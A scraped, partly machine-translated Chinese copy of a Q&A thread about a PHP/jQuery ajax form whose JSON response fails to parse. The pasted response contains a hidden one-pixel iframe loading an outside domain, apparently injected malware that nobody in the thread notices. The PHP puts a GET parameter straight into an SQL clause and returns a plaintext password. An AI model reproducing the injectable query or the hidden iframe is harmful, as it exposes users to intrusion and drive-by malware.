Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/jquery/68.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Php 以ajax方式从选择框中填充3个文本框_Php_Jquery_Ajax - Fatal编程技术网

Php 以ajax方式从选择框中填充3个文本框

Php 以ajax方式从选择框中填充3个文本框,php,jquery,ajax,Php,Jquery,Ajax,嗨,我是php和ajax的新手,我有一个选择框,当用户选择信息时,必须填写到四个文本框中。有人建议使用jQuery 无论如何,我的php代码是 if(isset($_GET['username'])) { $username=$_GET['username']; $usr1=new USER; $where="username='$username'"; $a=$usr1->show($where); echo json_encode($a); }

嗨,我是php和ajax的新手,我有一个选择框,当用户选择信息时,必须填写到四个文本框中。有人建议使用jQuery

无论如何,我的php代码是

if(isset($_GET['username']))
{
    $username=$_GET['username'];
    $usr1=new USER;
    $where="username='$username'";
    $a=$usr1->show($where);
    echo json_encode($a);
}
我的表格在这里

 <form id="f1">
    <select id="s1">
    <option selected></option>
    <option value="admin" >admin</option>
    <option value="pooria.hojjati">pooria.hojjati</option>
    </select><br>
    <input type="text" id="name" value=""><br>
    <input type="text" id="family" value=""><br>
    <input type="text" id="email" value=""><br>
    <input type="text" id="pri" value=""><br>
    <!--<input type="button" value="press me" id="btn">-->
    </form>

    <div id="d">
    un replaced
    </div>

    <script language="javascript">

$("#f1 select:#s1").change(function(){
    var a=$("#f1 select:#s1").val();
    $.ajax({
            url:'ajax.php',
            data:{username:a},
            type:'get',
            datatype:'json',
            success:function(res){
            var b=JSON.parse(res);
            $("#f1 input:#name").val(b.name);
            $("#f1 input:#family").val(b.family);
            $("#f1 input:#email").val(b.email);
            $("#f1 input:#pri").val(b.privilege);}
            })


    });
</script>

管理
普奥里亚·霍贾蒂





未替换 $(“#f1选择:#s1”).change(函数(){ 变量a=$(“#f1选择:#s1”).val(); $.ajax({ url:'ajax.php', 数据:{username:a}, 类型:'get', 数据类型:'json', 成功:功能(res){ var b=JSON.parse(res); $(“#f1输入:#名称”).val(b.name); $(“#f1输入:#family”).val(b.family); $(“#f1输入:#电子邮件”).val(b.email); $(“#f1输入:#pri”).val(b.privilege);} }) });
我有一个错误:SyntaxError:JSON.parse:意外字符

当我提醒响应时,我得到以下信息:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<title>Untitled Document</title>

</head>



<body>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<title>user</title>

</head>



<body>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<title>DB</title>

</head>



<body>

<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>

</body>

</html>

<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>

</body>

</html>

{"id":"1","name":"\u067e\u0648\u0631\u06cc\u0627","family":"\u062d\u062c\u062a\u06cc \u0628\u0633\u0637\u0627\u0645\u06cc","username":"pooria.hojjati","password":"12044525","email":"pooria.hojjati@gmail.com","privilege":"1"}</body>

</html>

无标题文件
用户
分贝
{“id”:“1”,“姓名”:“\u067e\u0648\u0631\u06cc\u0627”,“家庭”:“\u062d\u062c\u062a\u06cc\u0628\u0633\u0637\u0627\u0645\u06cc”,“用户名”:“pooria.hojjati”,“密码”:“12044525”,“电子邮件”:“pooria”。hojjati@gmail.com“,”特权“:“1”}

在jQuery中,选择器
$(“#f1选择:#s1”)
的语法不正确。此选择器应为
$(“#f1选择#s1”)
。其他选择器也是如此
:foo
选择器是jQuery的特殊选择器,如
:checked
:contains()


您是否在php代码中使用框架来创建html布局?试着绕过它。调用
echo json\u encode(…)
后,调用
exit。这将立即停止执行并输出缓冲区。

您试图解析的JSON是什么样子的?你能把这个也贴上吗?这是什么意思?我使用WAMP,JSON包含在我使用Ajax.php的版本中,该版本必须返回JSON。现在它返回什么?当我提醒响应时,有一个完整的页面,带有完整的标题,当然还有我的结果,但结果没有放在文本框中。我想在某种程度上我应该删除标题。当然,以某种方式生成结果UTF-8,您需要将响应粘贴到此处。